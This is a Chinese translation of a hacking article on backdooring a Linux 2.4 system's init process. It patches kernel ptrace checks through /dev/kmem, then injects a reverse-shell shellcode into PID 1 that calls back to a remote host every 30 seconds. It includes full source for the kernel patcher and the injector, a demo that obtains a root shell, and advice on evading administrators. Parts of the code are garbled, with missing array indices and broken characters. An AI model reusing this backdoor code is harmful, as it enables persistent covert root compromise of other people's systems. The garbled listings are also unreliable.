动态init进程感染
On-the-fly init(8) process infection动态init进程感染
原作：Christophe Devine <devine@iie.cnam.fr>
翻译：Zizzy<zizzy@hotmail.com>
动态init(8)进程感染
--[ 目录
1 - 前言
2 - 修补内核
3 - Shellcode注入
4 - 总结
5 - 参考
6 - 附录
--[ 1 - ★ 前言
为方便软件的开发和调试，从unix的早期版本开始就提供了一种对运行中的进程进行跟踪和控制的手段，
那就是系统调用ptrace()。通过ptrace()，一个进程可以动态地读/写另一个进程的内存和寄存器，包括
其指令空间、数据空间、堆栈以及所有的寄存器。与信号机制（以及其他手段）相结合，就可以实现一个
进程在另一个进程的控制和跟踪下运行的目的。使用ptrace()来调试一个运行的进程的方式也就像运行和
注入一个shellcode也是很好理解的。(请看和)
这里我们要把重点放在/sbin/init上, 至于为什么选这么个目标的原因请看
. 你可以在/sbin/init目录中加入任何程序，内核会在启动时运行他们。
. init的任务就是初始化所有东西。它检测文件系统是否完好并安装文件系统。
. init运行时的权限是root级别,所以我们能使用高权限来停止shell.
. 系统管理员不可以重启init, 或者用strace来监视它.
当然，高效的内核也有对抗措施。Linux内核将会拒绝任何企图使用ptrace修改init进程的行为。这也就是
为什么我们要先修补内核代码的原因;这份文档是在IA32(一种服务器)上的内核版本是2.4.x的Linux上调试
的。
--[ 2 - ★ 修补内核
注:ptrace()的系统调用格式如下：
long int ptrace(enum __ptrace_request request, pid_t pid, void * addr, void * data)；
参数pid为进程号，指明了操作的对象，而request，则是具体的操作，文件include/linux/ptrace.h中定义了
所有可能的操作码：
#define PTRACE_TRACEME 0
#define PTRACE_PEEKTEXT 1
#define PTRACE_PEEKDATA 2
#define PTRACE_PEEKUSR 3
#define PTRACE_POKETEXT 4
#define PTRACE_POKEDATA 5
#define PTRACE_POKEUSR 6
#define PTRACE_CONT 7
#define PTRACE_KILL 8
#define PTRACE_SINGLESTEP 9
#define PTRACE_ATTACH 0x10
#define PTRACE_DETACH 0x11
#define PTRACE_SYSCALL 24
跟踪者先要通过PTRACE_ATTACH与被跟踪进程建立起关系，或者说“Attach”到被跟踪进程。然后，就
可以通过各种PEEK和POKE操作来读/写被跟踪进程的指令空间、数据空间或者各个寄存器，每次都是一个
长字，由addr指明其地址；或者，也可以通过PTRACE_SINGLESTEP、PTRACE_KILL、PTRACE_SYSCALL和PTRACE_CONT
等操作来控制被跟踪进程的运行。最后，通过PTRACE_DETACH跟被跟踪进程脱离关系。
切入正题，首先来看ptrace()函数的调用(sys_ptrace),
我们定位在 arch/i386/kernel/ptrace.c 这个文件上
...
ret = -EPERM;
if (pid == 1) /* 不会把init搞乱 */
goto out_tsk;
if (request == PTRACE_ATTACH) {
ret = ptrace_attach(child);
goto out_tsk;
}
...
一旦被编译,代码将会被转化为下面这样:
c0109b80: bd ff ff ff ff mov $0xffffffff,%ebp
c0109b85: 83 fa 01 cmp $0x1,%edx
c0109b88: 0f 84 d7 04 00 00 je c010a065 <sys_ptrace+0x569>
c0109b8e: 83 fe 10 cmp $0x10,%esi
c0109b91: 75 10 jne c0109ba3 <sys_ptrace+0xa7>
c0109b93: 57 push %edi
c0109b94: e8 17 fa 00 00 call c01195b0 <ptrace_attach>
或者使用gcc 3.3.2的版本来代替2.95:
c010a99d: 49 dec %ecx
c010a99e: bf ff ff ff ff mov $0xffffffff,%edi
c010a9a3: 74 6b je c010aa10 <sys_ptrace+0x120>
c010a9a5: 83 fb 10 cmp $0x10,%ebx
c010a9a8: 0f 84 62 05 00 00 je c010af10 <sys_ptrace+0x620>
...
c010af10: 89 34 24 mov %esi,(%esp,1)
c010af13: e8 68 32 01 00 call c011e180 <ptrace_attach>
保护机制因此能搜寻\x83\xF?\x10然后
用\x83\xFA\x01来替换\x83\xFA\x00，或者用\x74\x??来替换\x70\x??.
我们怎么获得sys_ptrace()函数的位置呢? The kernel may not have
loadable module support compiled in, 所以我们宁愿使用中所说的方法：
the sidt instruction provides the IDT address, which
contains a vector to the system_call() function (int 0x80). 然后,
找到sys_call_table的位置是\xFF\x14\x85; sys_ptrace()是26个进入的(__NR_ptrace)。
可是我们并没有完成啊，ptrace_attach()依旧包括了另一个检查
在 kernel/ptrace.c, 第56行:
...
int ptrace_attach(struct task_struct *task)
{
task_lock(task);
if (task->pid <= 1)
goto bad;
..
# objdump -d vmlinux | grep -A 4 -B 1 '<ptrace_attach>:'
c01195b0 <ptrace_attach>:
c01195b0: 53 push %ebx
c01195b1: 8b 4c 24 08 mov 0x8(%esp,1),%ecx
c01195b5: 83 79 7c 01 cmpl $0x1,0x7c(%ecx)
c01195b9: 0f 8e b1 01 00 00 jle c0119770 <ptrace_attach+0x1c0>
ptrace_attach()的地址被我们在在sys_ptrace()里找到了相关调用的编码(\xE8).
最终, ptrace_attach()被修补好了
在\x83\x79\x7C后的\x01被替换成\x00.
好了,我们现在能完全控制init了。
# strace -p 1
attach: ptrace(PTRACE_ATTACH, ...): Operation not permitted
# gcc ptrace_init.c
# ./a.out
. sct @ 0xC02E0DB8
. kp1 @ 0xC0109B87
. kp2 @ 0xC01195B8
+ kernel patched
# strace -p 1
select(11, , NULL, NULL, {4, 110000}) = 0 (Timeout)
time() = 1072797696
stat64("/dev/initctl", {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
--[ 3 - ★ Shellcode注入
这个其实就是使用两个shellcode去感染进程。首先的一个调用mmap()储存在内存里然后再映射
真实的shellcode，每30秒自动调用一次后。
反连接的shellcode复制到内存里知道出现相关的数据(远程主机和端口). 这样, 每30秒一次调用，
储存在内存中的shellcode就会醒过来，然后试者连接到远程主机。
如果连接成功, 当然就会得到一个shell:
# gcc rpsc_inject.c
# ./a.out
usage: ./a.out <pid> <port> <hostname>
# ./a.out 1 2004 localhost
. attached to process 1
. running mmap shellcode
. mapped area @ 0x40014000
+ backdoor code injected
# nc -v -l -p 2004
listening on 2004 ...
connect to from localhost 1055
uname -a
Linux nice 2.4.23 #1 Mon Dec 28 20:32:07 CET 2003 i686 unknown
id
uid=0(root) gid=0(root)
--[ 4 - ★ 总结
很幸运，这并不是一个非常完美的后门。在ptracing init后，内核将会把它放到任务列表的底部
。我们看结果，这是ps的结果，出现在最底部：
$ ps ax | tail -n 3
1 ? S 0:03 init
168 tty1 R 0:00 ps ax
169 tty1 R 0:00 -bash
这样肯定不好，聪明的管理员一下就揪出来了。
因此，聪明的办法可能就是感染其他进程了，比如klogd等等进程
--[ 5 - ★ 文档参考
"Linux on-the-fly kernel patching without LKM", Phrack #58.
"Runtime Process Infection", Phrack #59.
"Runtime Process Infection 2", ElectronicSouls.
--[ 6 - ★ 附录--相关的源代码
$ cat ptrace_init.c
/*
*2.4.x kernel patcher that allows ptracing the init process
*
*Copyright (C) 2003Christophe Devine <devine@iie.cnam.fr>
*
*This program is free software; you can redistribute it and/or modify
*it under the terms of the GNU General Public License as published by
*the Free Software Foundation; either version 2 of the License, or
*(at your option) any later version.
*
*This program is distributed in the hope that it will be useful,
*but WITHOUT ANY WARRANTY; without even the implied warranty of
*MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
*GNU General Public License for more details.
*
*You should have received a copy of the GNU General Public License
*along with this program; if not, write to the Free Software
*Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA02111-1307USA
*/
#define _GNU_SOURCE
#include <asm/unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
int kmem_fd;
/* low level utility subroutines */
void read_kmem( off_t offset, void *buf, size_t count )
{
if( lseek( kmem_fd, offset, SEEK_SET ) != offset )
{
perror( "lseek(kmem)" );
exit( 1 );
}
if( read( kmem_fd, buf, count ) != (long) count )
{
perror( "read(kmem)" );
exit( 2 );
}
}
void write_kmem( off_t offset, void *buf, size_t count )
{
if( lseek( kmem_fd, offset, SEEK_SET ) != offset )
{
perror( "lseek(kmem)" );
exit( 3 );
}
if( write( kmem_fd, buf, count ) != (long) count )
{
perror( "write(kmem)" );
exit( 4 );
}
}
#define GCC_295 2
#define GCC_3XX 3
#define BUFSIZE 256
int main( void )
{
int kmode, gcc_ver;
int idt, int80, sct, ptrace;
char buffer, *p, c;
/* open /dev/kmem in read-write mode */
if( ( kmem_fd = open( "/dev/kmem", O_RDWR ) ) < 0 )
{
dev_t kmem_dev = makedev( 1, 2 );
perror( "open(/dev/kmem)" );
if( mknod( "/tmp/kmem", 0600 | S_IFCHR, kmem_dev ) < 0 )
{
perror( "mknod(/tmp/kmem)" );
return( 16 );
}
if( ( kmem_fd = open( "/tmp/kmem", O_RDWR ) ) < 0 )
{
perror( "open(/tmp/kmem)" );
return( 17 );
}
unlink( "/tmp/kmem" );
}
/* get interrupt descriptor table address */
asm( "sidt %0" : "=m" ( buffer ) );
idt = *(int *)( buffer + 2 );
/* get system_call() address */
read_kmem( idt + ( 0x80 << 3 ), buffer, 8 );
int80 = ( *(unsigned short *)( buffer + 6 ) << 16 )
+ *(unsigned short *)( buffer );
/* get system_call_table address */
read_kmem( int80, buffer, BUFSIZE );
if( ! ( p = memmem( buffer, BUFSIZE, "\xFF\x14\x85", 3 ) ) )
{
fprintf( stderr, "fatal: can't locate sys_call_table\n" );
return( 18 );
}
sct = *(int *)( p + 3 );
printf( ". sct @ 0x%08X\n", sct );
/* get sys_ptrace() address and patch it */
read_kmem( (off_t) ( p + 3 - buffer + syscall ), buffer, 4 );
read_kmem( sct + __NR_ptrace * 4, (void *) &ptrace, 4 );
read_kmem( ptrace, buffer, BUFSIZE );
if( ( p = memmem( buffer, BUFSIZE, "\x83\xFE\x10", 3 ) ) )
{
p -= 7;
c = *p ^ 1;
kmode = *p & 1;
gcc_ver = GCC_295;
}
else
{
if( ( p = memmem( buffer, BUFSIZE, "\x83\xFB\x10", 3 ) ) )
{
p -= 2;
c = *p ^ 4;
kmode = *p & 4;
gcc_ver = GCC_3XX;
}
else
{
fprintf( stderr, "fatal: can't find patch 1 address\n" );
return( 19 );
}
}
write_kmem( p - buffer + ptrace, &c, 1 );
printf( ". kp1 @ 0x%08X\n", p - buffer + ptrace );
/* get ptrace_attach() address and patch it */
if( gcc_ver == GCC_3XX )
{
p += 5;
ptrace += *(int *)( p + 2 ) + p + 6 - buffer;
read_kmem( ptrace, buffer, BUFSIZE );
p = buffer;
}
if( ! ( p = memchr( p, 0xE8, 24 ) ) )
{
fprintf( stderr, "fatal: can't locate ptrace_attach\n" );
return( 20 );
}
ptrace += *(int *)( p + 1 ) + p + 5 - buffer;
read_kmem( ptrace, buffer, BUFSIZE );
if( ! ( p = memmem( buffer, BUFSIZE, "\x83\x79\x7C", 3 ) ) )
{
fprintf( stderr, "fatal: can't find patch 2 address\n" );
return( 21 );
}
c = ( ! kmode );
write_kmem( p + 3 - buffer + ptrace, &c, 1 );
printf( ". kp2 @ 0x%08X\n", p + 3 - buffer + ptrace );
/* success */
if( c ) printf( "- kernel unpatched\n" );
else printf( "+ kernel patched\n" );
close( kmem_fd );
return( 0 );
}
EOF
$ cat rpsc_inject.c
/*
*Runtime process shellcode injector for linux on ia32
*
*Copyright (C) 2003Christophe Devine <devine@iie.cnam.fr>
*
*This program is free software; you can redistribute it and/or modify
*it under the terms of the GNU General Public License as published by
*the Free Software Foundation; either version 2 of the License, or
*(at your option) any later version.
*
*This program is distributed in the hope that it will be useful,
*but WITHOUT ANY WARRANTY; without even the implied warranty of
*MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
*GNU General Public License for more details.
*
*You should have received a copy of the GNU General Public License
*along with this program; if not, write to the Free Software
*Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA02111-1307USA
*/
#include <sys/ptrace.h>
#include <asm/unistd.h>
#include <netinet/in.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <netdb.h>
void shellcode_start( void );
void mmap_shellcode( void );
void mmap_end( void );
void connect_shellcode( void );
void shellcode_end( void );
int _ptrace( int request, int pid, void *addr, void *data )
{
int ret;
if( ( ret = ptrace( request, pid, addr, data ) == -1 ) )
{
switch( request )
{
case PTRACE_CONT: perror( "PTRACE_CONT" ); break;
case PTRACE_ATTACH: perror( "PTRACE_ATTACH" ); break;
case PTRACE_GETREGS:perror( "PTRACE_GETREGS"); break;
case PTRACE_SETREGS:perror( "PTRACE_SETREGS"); break;
case PTRACE_POKEDATA: perror( "PTRACE_POKEDATA" ); break;
default: perror( "ptrace" ); break;
}
exit( 255 );
}
return( ret );
}
#define VM_SIZE 4096
int main( int argc, char *argv[] )
{
int pid, port, i, n, vma;
struct hostent *host_entry;
struct user_regs_struct reg;
struct user_regs_struct reg2;
/* check the arguments */
if( argc != 4 )
{
usage:
printf( "usage: %s <pid> <port> <hostname>\n", argv );
return( 1 );
}
if( ! ( pid= atol( argv ) ) ||
! ( port = atol( argv ) ) )
goto usage;
/* resolve the remote host */
if( ( host_entry = gethostbyname( argv ) ) == NULL )
{
fprintf( stderr, "gethostbyname failed\n" );
return( 2 );
}
/* attach to the target process */
_ptrace( PTRACE_ATTACH, pid, 0, 0 );
kill( pid, SIGSTOP );
waitpid( pid, NULL, WUNTRACED );
printf( ". attached to process %d\n", pid );
/* inject the mmap shellcode on the stack */
_ptrace( PTRACE_GETREGS, pid, NULL, ® );
memcpy( ®2, ®, sizeof( reg ) );
reg.esp -= 4;
reg.eip = reg.esp - 512;
for( i = 0; i < mmap_end - shellcode_start; i += 4 )
{
_ptrace( PTRACE_POKEDATA, pid, (void *) ( reg.eip + i ),
(void *)( *(int *) ( shellcode_start + i ) ) );
}
/* complete interrupted system call & mmap() */
printf( ". running mmap shellcode\n" );
reg.eip += mmap_shellcode - shellcode_start + 2;
_ptrace( PTRACE_SETREGS, pid, NULL, ® );
_ptrace( PTRACE_SYSCALL, pid, NULL, NULL );
waitpid( pid, NULL, 0 );
_ptrace( PTRACE_GETREGS, pid, NULL, ® );
n = ( reg.orig_eax != __NR_mmap ) + 1;
for( i = 0; i < n; i++ )
{
_ptrace( PTRACE_SYSCALL, pid, NULL, NULL );
waitpid( pid, NULL, 0 );
}
_ptrace( PTRACE_GETREGS, pid, NULL, ® );
printf( ". mapped area @ 0x%08X\n", vma = reg.eax );
/* complete signal() & alarm() */
for( i = 0; i < 4; i++ )
{
_ptrace( PTRACE_SYSCALL, pid, NULL, NULL );
waitpid( pid, NULL, 0 );
}
/* now inject the backdoor shellcode and the port/ip */
for( i = 0; i < shellcode_end - shellcode_start; i += 4 )
{
_ptrace( PTRACE_POKEDATA, pid, (void *) ( vma + i ),
(void *) ( *(int *)( shellcode_start + i ) ) );
}
n = *(int *) host_entry->h_addr;
_ptrace( PTRACE_POKEDATA, pid, (void *) ( vma + VM_SIZE - 8 ),
(void *) port );
_ptrace( PTRACE_POKEDATA, pid, (void *) ( vma + VM_SIZE - 4 ),
(void *) n );
printf( "+ backdoor code injected\n" );
/* finally, restore registers and detach */
_ptrace( PTRACE_SETREGS, pid, NULL, ®2 );
_ptrace( PTRACE_CONT, pid, NULL, NULL );
return( 0 );
}
void shellcode_start( void ) {}
int do_syscall1( int nr, ... )
{
int ret;
asm( "pusha " );
asm( "mov8(%ebp),%eax" );
asm( "mov 12(%ebp),%ebx" );
asm( "mov 16(%ebp),%ecx" );
asm( "mov 20(%ebp),%edx" );
asm( "mov 24(%ebp),%esi" );
asm( "mov 28(%ebp),%edi" );
asm( "int $0x80 " );
asm( "mov %eax,-4(%ebp)" );
asm( "popa " );
return( ret );
}
int do_syscall2( int nr, ... )
{
int ret;
asm( "push %ebx " );
asm( "mov 8(%ebp),%eax " );
asm( "mov %ebp,%ebx " );
asm( "add $12,%ebx " );
asm( "int $0x80 " );
asm( "mov %eax,-4(%ebp)" );
asm( "pop %ebx " );
return( ret );
}
#define CS_ADDR ( vma + connect_shellcode - shellcode_start )
void mmap_shellcode( void )
{
int vma = do_syscall2( __NR_mmap, 0, VM_SIZE,
PROT_EXEC | PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );
do_syscall1( __NR_signal, SIGALRM, CS_ADDR );
do_syscall1( __NR_alarm, 30 );
while( 1 );
}
void mmap_end( void ) {}
#define SYS_SOCKET1
#define SYS_CONNECT 3
int get_eip( void )
{
int ret;
asm( "call delta" );
asm( "delta: pop %eax" );
asm( "mov %eax,-4(%ebp)" );
return( ret );
}
void connect_shellcode( void )
{
int vma, port, sock;
unsigned long net_args;
struct sockaddr_in host_addr;
vma = get_eip() & 0xFFFFF000;
net_args = AF_INET;
net_args = SOCK_STREAM;
net_args = 0;
sock = do_syscall1( __NR_socketcall, SYS_SOCKET, net_args );
if( sock < 0 )
goto connect_exit;
port = *(int *)( vma + VM_SIZE - 8 );
host_addr.sin_family = AF_INET;
host_addr.sin_port = ( port >> 8 ) | ( ( port & 0xFF ) << 8 );
host_addr.sin_addr.s_addr = *(int *)( vma + VM_SIZE - 4 );
net_args = sock;
net_args = (unsigned long) &host_addr;
net_args = sizeof( host_addr );
if( do_syscall1( __NR_socketcall, SYS_CONNECT, net_args ) < 0 )
{
do_syscall1( __NR_close, sock );
goto connect_exit;
}
if( ! do_syscall1( __NR_fork ) )
{
char shell, *argv, *envp;
do_syscall1( __NR_dup2, sock, 0 );
do_syscall1( __NR_dup2, sock, 1 );
do_syscall1( __NR_dup2, sock, 2 );
if( sock > 2 ) do_syscall1( __NR_close, sock );
shell = '/'; shell = '/';
shell = 'b'; shell = 's';
shell = 'i'; shell = 'h';
shell = 'n'; shell = '\0';
argv = shell;
argv = envp = NULL;
do_syscall1( __NR_execve, shell, argv, envp );
do_syscall1( __NR_exit, 1 );
}
do_syscall1( __NR_close, sock );
connect_exit:
do_syscall1( __NR_signal, SIGALRM, CS_ADDR );
do_syscall1( __NR_alarm, 30 );
}
void shellcode_end( void ) {}
EOF
翻译参考：
./sbin/init的概念
http://axiom.anu.edu.au/~okeefe/p2b/chinese/power2bash-6.html
.strace的概念
http://www.cublog.cn/opera/showart.php?blogid=2117&id=5406
http://www.ithack.net/Articles/linux/2005052198409.html 太危险了。 嗯...
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